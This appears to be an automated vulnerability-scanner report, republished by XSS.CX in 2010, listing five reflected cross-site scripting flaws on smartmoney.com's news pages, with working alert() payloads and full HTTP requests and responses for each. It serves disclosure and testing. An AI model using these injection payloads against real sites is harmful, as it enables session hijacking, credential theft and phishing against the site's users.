Report generated by XSS.CX at Wed Nov 24 19:56:05 CST 2010.


The DORK Report

Loading

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.smartmoney.com/news/ON/ [name of an arbitrarily supplied request parameter]

1.2. http://www.smartmoney.com/news/ON/ [name of an arbitrarily supplied request parameter]

1.3. http://www.smartmoney.com/news/ON/ [story parameter]

1.4. http://www.smartmoney.com/news/ON/ [story parameter]

1.5. http://www.smartmoney.com/news/ON/ [story parameter]



1. Cross-site scripting (reflected)
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.smartmoney.com/news/ON/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.smartmoney.com
Path:   /news/ON/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccc7b"><a>ef3f7b9709 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /news/ON/?story=ON-20101123-000061&&ccc7b"><a>ef3f7b9709=1 HTTP/1.1
Host: www.smartmoney.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:50:06 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: NEWSMIUSER=D3BBDECE%2DAC1D%2DEBD0%2D4CF860EAD170B2D7;domain=.smartmoney.com;expires=Fri, 16-Nov-2040 01:50:06 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:50:06 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:50:06 GMT;path=/
Set-Cookie: ISFINADVISE=%2D1;domain=.smartmoney.com;path=/
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: NSC_tnz-xxx-iuuq=ffffffff09f93b8c45525d5f4f58455e445a4a423660;expires=Wed, 24-Nov-2010 02:00:08 GMT;path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

   
   
...[SNIP]...
<a href="/news/ON/?story=ON-20101123-000061&&ccc7b"><a>ef3f7b9709=1&email=1" rel="nofollow">
...[SNIP]...

1.2. http://www.smartmoney.com/news/ON/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.smartmoney.com
Path:   /news/ON/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa242'-alert(1)-'41406549256 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /news/ON/?story=ON-20101123-000061&&fa242'-alert(1)-'41406549256=1 HTTP/1.1
Host: www.smartmoney.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:50:18 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: NEWSMIUSER=D3BA8C7A%2DC342%2D4CE6%2D8C9617A10B49BE73;domain=.smartmoney.com;expires=Fri, 16-Nov-2040 01:50:18 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:50:18 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:50:18 GMT;path=/
Set-Cookie: ISFINADVISE=%2D1;domain=.smartmoney.com;path=/
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: NSC_tnz-xxx-iuuq=ffffffff09f93b8b45525d5f4f58455e445a4a423660;expires=Wed, 24-Nov-2010 02:00:20 GMT;path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

   
   
...[SNIP]...
<script language="JavaScript">
   function openPrintWindow(){ popupWin = window.open('/news/ON/?story=ON-20101123-000061&&fa242'-alert(1)-'41406549256=1&print=1', 'PrintWindow', 'resizable=1,scrollbars=1,height=500,width=750,menuBar=1,toolBar=1') }
</script>
...[SNIP]...

1.3. http://www.smartmoney.com/news/ON/ [story parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.smartmoney.com
Path:   /news/ON/

Issue detail

The value of the story request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62734"><img%20src%3da%20onerror%3dalert(1)>88a3ab58c21 was submitted in the story parameter. This input was echoed as 62734"><img src=a onerror=alert(1)>88a3ab58c21 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /news/ON/?story=ON-20101123-00006162734"><img%20src%3da%20onerror%3dalert(1)>88a3ab58c21& HTTP/1.1
Host: www.smartmoney.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:49:33 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: NEWSMIUSER=D3B6C8EB%2DD553%2DD591%2D5E3284FF1DB28020;domain=.smartmoney.com;expires=Fri, 16-Nov-2040 01:49:33 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:49:33 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:49:33 GMT;path=/
Set-Cookie: ISFINADVISE=%2D1;domain=.smartmoney.com;path=/
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: NSC_tnz-xxx-iuuq=ffffffff09f93b8c45525d5f4f58455e445a4a423660;expires=Wed, 24-Nov-2010 01:59:35 GMT;path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

   
   
...[SNIP]...
<link rel="canonical" href="http://www.smartmoney.com/news/on/?story=on-20101123-00006162734"><img src=a onerror=alert(1)>88a3ab58c21" />
...[SNIP]...

1.4. http://www.smartmoney.com/news/ON/ [story parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.smartmoney.com
Path:   /news/ON/

Issue detail

The value of the story request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6183</script><a>2e08136518f was submitted in the story parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /news/ON/?story=ON-20101123-000061a6183</script><a>2e08136518f& HTTP/1.1
Host: www.smartmoney.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:49:40 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: NEWSMIUSER=D3B48B42%2DDB54%2D14D7%2D8DE5846D418B38A3;domain=.smartmoney.com;expires=Fri, 16-Nov-2040 01:49:40 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:49:40 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:49:40 GMT;path=/
Set-Cookie: ISFINADVISE=%2D1;domain=.smartmoney.com;path=/
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: NSC_tnz-xxx-iuuq=ffffffff09f93b8a45525d5f4f58455e445a4a423660;expires=Wed, 24-Nov-2010 01:59:39 GMT;path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

   
   
...[SNIP]...
<script language="JavaScript">
   function openPrintWindow(){ popupWin = window.open('/news/ON/?story=ON-20101123-000061a6183</script><a>2e08136518f&&print=1', 'PrintWindow', 'resizable=1,scrollbars=1,height=500,width=750,menuBar=1,toolBar=1') }
</script>
...[SNIP]...

1.5. http://www.smartmoney.com/news/ON/ [story parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.smartmoney.com
Path:   /news/ON/

Issue detail

The value of the story request parameter is copied into an HTML comment. The payload a07a4--><img%20src%3da%20onerror%3dalert(1)>de4f4e71fb2 was submitted in the story parameter. This input was echoed as a07a4--><img src=a onerror=alert(1)>de4f4e71fb2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /news/ON/?story=ON-20101123-000061a07a4--><img%20src%3da%20onerror%3dalert(1)>de4f4e71fb2& HTTP/1.1
Host: www.smartmoney.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 01:50:03 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: NEWSMIUSER=D3BB3E8A%2DAF51%2DA298%2DED6FA43182D4F96D;domain=.smartmoney.com;expires=Fri, 16-Nov-2040 01:50:03 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:50:03 GMT;path=/
Set-Cookie: REFRESH=;domain=.smartmoney.com;expires=Tue, 24-Nov-2009 01:50:03 GMT;path=/
Set-Cookie: ISFINADVISE=%2D1;domain=.smartmoney.com;path=/
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: NSC_tnz-xxx-iuuq=ffffffff09f93b8d45525d5f4f58455e445a4a423660;expires=Wed, 24-Nov-2010 01:59:50 GMT;path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

   
   
...[SNIP]...
<!-- *Content Not Found*: ON-20101123-000061a07a4--><img src=a onerror=alert(1)>de4f4e71fb2 -->
...[SNIP]...

Report generated by XSS.CX at Wed Nov 24 19:56:05 CST 2010.